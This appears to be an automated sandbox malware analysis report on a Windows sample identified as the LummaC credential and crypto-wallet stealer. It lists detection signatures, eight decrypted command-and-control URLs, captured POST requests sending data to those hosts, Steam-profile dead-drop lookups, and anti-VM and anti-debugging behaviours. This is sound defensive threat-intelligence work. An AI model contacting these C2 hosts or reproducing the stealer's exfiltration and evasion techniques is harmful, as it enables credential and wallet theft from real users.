Edit tour

Windows Analysis Report
nvtoaldlrg.exe

Overview

General Information

Sample name:	nvtoaldlrg.exe
Analysis ID:	1637345
MD5:	4a0c3d026246920f6b8bd466cc5fdd8c
SHA1:	2536873426bdcd8cdc5fa40b54d68cdf1a0766ff
SHA256:	fdba4cab6bb651c5ffecf92d1bfd3de70ef5433a6aea4976db9753742799b7a3
Tags:	exeuser-TornadoAV_dev
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Joe Sandbox ML detected suspicious sample

PE file has nameless sections

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

nvtoaldlrg.exe (PID: 7128 cmdline: "C:\Users\user\Desktop\nvtoaldlrg.exe" MD5: 4A0C3D026246920F6B8BD466CC5FDD8C)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["citydisco.bet/gdJIS", "featureccus.shop/bdMAn", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.921555375.000000000147F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: nvtoaldlrg.exe PID: 7128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: nvtoaldlrg.exe PID: 7128	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.nvtoaldlrg.exe.ac0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49724	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49694	188.114.96.3	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49685	188.114.97.3	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49700	104.21.80.1	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49688	104.21.96.1	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49721	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49709	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49706	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49712	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49727	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49718	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49697	104.21.48.1	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49703	104.21.16.1	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49715	104.73.234.102	443	TCP
2025-03-13T14:58:01.184550+0100	2028371	3	Unknown Traffic	192.168.2.8	49691	188.114.97.3	443	TCP
2025-03-13T14:58:08.276345+0100	2028371	3	Unknown Traffic	192.168.2.8	49682	188.114.97.3	443	TCP
2025-03-13T14:58:10.966897+0100	2028371	3	Unknown Traffic	192.168.2.8	49683	188.114.97.3	443	TCP
2025-03-13T14:58:13.390678+0100	2028371	3	Unknown Traffic	192.168.2.8	49684	188.114.97.3	443	TCP
2025-03-13T14:58:21.057185+0100	2028371	3	Unknown Traffic	192.168.2.8	49730	104.73.234.102	443	TCP
2025-03-13T14:58:23.722136+0100	2028371	3	Unknown Traffic	192.168.2.8	49731	104.73.234.102	443	TCP
2025-03-13T14:58:26.347544+0100	2028371	3	Unknown Traffic	192.168.2.8	49733	104.73.234.102	443	TCP
2025-03-13T14:58:28.925365+0100	2028371	3	Unknown Traffic	192.168.2.8	49738	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: nvtoaldlrg.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://latchclan.shop:443/Wjquw	Avira URL Cloud: Label: malware
Source: https://bugildbett.top:443/bAuzaMicrosoft	Avira URL Cloud: Label: malware
Source: https://featureccus.shop:443/bdMAn	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["citydisco.bet/gdJIS", "featureccus.shop/bdMAn", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"]}

Multi AV Scanner detection for submitted file

Source: nvtoaldlrg.exe	Virustotal: Detection: 58%			Perma Link
Source: nvtoaldlrg.exe	ReversingLabs: Detection: 68%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: citydisco.bet/gdJIS
Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: featureccus.shop/bdMAn
Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: mrodularmall.top/aNzS
Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: jowinjoinery.icu/bdWUa
Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: legenassedk.top/bdpWO
Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: htardwarehu.icu/Sbdsa
Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cjlaspcorne.icu/DbIps
Source: 00000000.00000002.1045933046.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bugildbett.top/bAuz

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Code function: 0_2_00ADBBD0 CryptUnprotectData,

0_2_00ADBBD0

Source: nvtoaldlrg.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49682 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.8:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.8:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.73.234.102:443 -> 192.168.2.8:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.8:49738 version: TLS 1.2

Source: C:\Users\user\Desktop\nvtoaldlrg.exe

Code function: 0_2_00B50490 FindFirstFileW,

0_2_00B50490

Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then push edi	0_2_00ACEA60
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-5E8897A6h]	0_2_00B0D380
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then mov ebp, dword ptr [ecx+edx+3Ch]	0_2_00B07840
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then push 00000000h	0_2_00ADBBD0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then mov dword ptr [esp+04h], ecx	0_2_00B03CD0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+14h]	0_2_00B03CD0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_00ACA2C0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_00ACA2C0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movzx edx, byte ptr [ecx+esi]	0_2_00AC2790
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ebx+07h]	0_2_00AE4A30
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then mov eax, ebx	0_2_00AE4A30
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movsx edx, byte ptr [esi+eax]	0_2_00ADACC0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 93A82FD1h	0_2_00ADAD90
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-3FFFFFFCh]	0_2_00AE5080
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then mov dword ptr [edi], esi	0_2_00AC1040
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+00000184h]	0_2_00AF53D0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then mov ecx, eax	0_2_00B0B5D0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then mov ecx, eax	0_2_00B0B670
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then mov eax, dword ptr [edi+0Ch]	0_2_00AC19E0
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 1ED597A4h	0_2_00B07B00
Source: C:\Users\user\Desktop\nvtoaldlrg.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+5E7F9582h]	0_2_00B07D20

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: citydisco.bet/gdJIS
Source: Malware configuration extractor	URLs: featureccus.shop/bdMAn
Source: Malware configuration extractor	URLs: mrodularmall.top/aNzS
Source: Malware configuration extractor	URLs: jowinjoinery.icu/bdWUa
Source: Malware configuration extractor	URLs: legenassedk.top/bdpWO
Source: Malware configuration extractor	URLs: htardwarehu.icu/Sbdsa
Source: Malware configuration extractor	URLs: cjlaspcorne.icu/DbIps
Source: Malware configuration extractor	URLs: bugildbett.top/bAuz

Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49684 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49682 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49731 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49730 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49683 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49733 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49724 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49694 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49685 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49700 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49688 -> 104.21.96.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49721 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49709 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49706 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49712 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49727 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49718 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49697 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49703 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49715 -> 104.73.234.102:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49691 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 73Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=g82Kw7030JG54MlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14496Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6nR23kDEjUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15012Host: citydisco.bet
Source: global traffic	HTTP traffic detected: POST /bSHsyZD HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 111Host: guntac.bet

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199822375128 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com

Source: nvtoaldlrg.exe, 00000000.00000003.1045441184.00000000044B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: nvtoaldlrg.exe, 00000000.00000002.1048162417.00000000044A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C83521ba33f152859d9ded61861c1940c; path=/; secure; HttpOnly; SameSite=Nonesessionid=740c83c77edb84e75be3f9bd; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35710Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 13 Mar 2025 13:58:26 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: nvtoaldlrg.exe, 00000000.00000003.994650409.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C83521ba33f152859d9ded61861c1940c; path=/; secure; HttpOnly; SameSite=Nonesessionid=cac8a6ba4568ff49bb7a7ac9; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26244Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 13 Mar 2025 13:58:24 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: nvtoaldlrg.exe, 00000000.00000003.1021479952.000000000147F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: LRPC-2aa04708cc61a111adrecaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;X-Frame-OptionsSAMEORIGINPersistent-AuthWWW-AuthenticateVarysteamCountry=US%7C83521ba33f152859d9ded61861c1940c; path=/; secure; HttpOnly; SameSite=Nonesessionid=cac8a6ba4568ff49bb7a7ac9; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type26244Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 13 Mar 2025 13:58:24 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: nvtoaldlrg.exe, 00000000.00000002.1048162417.00000000044A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/; equals www.youtube.com (Youtube)
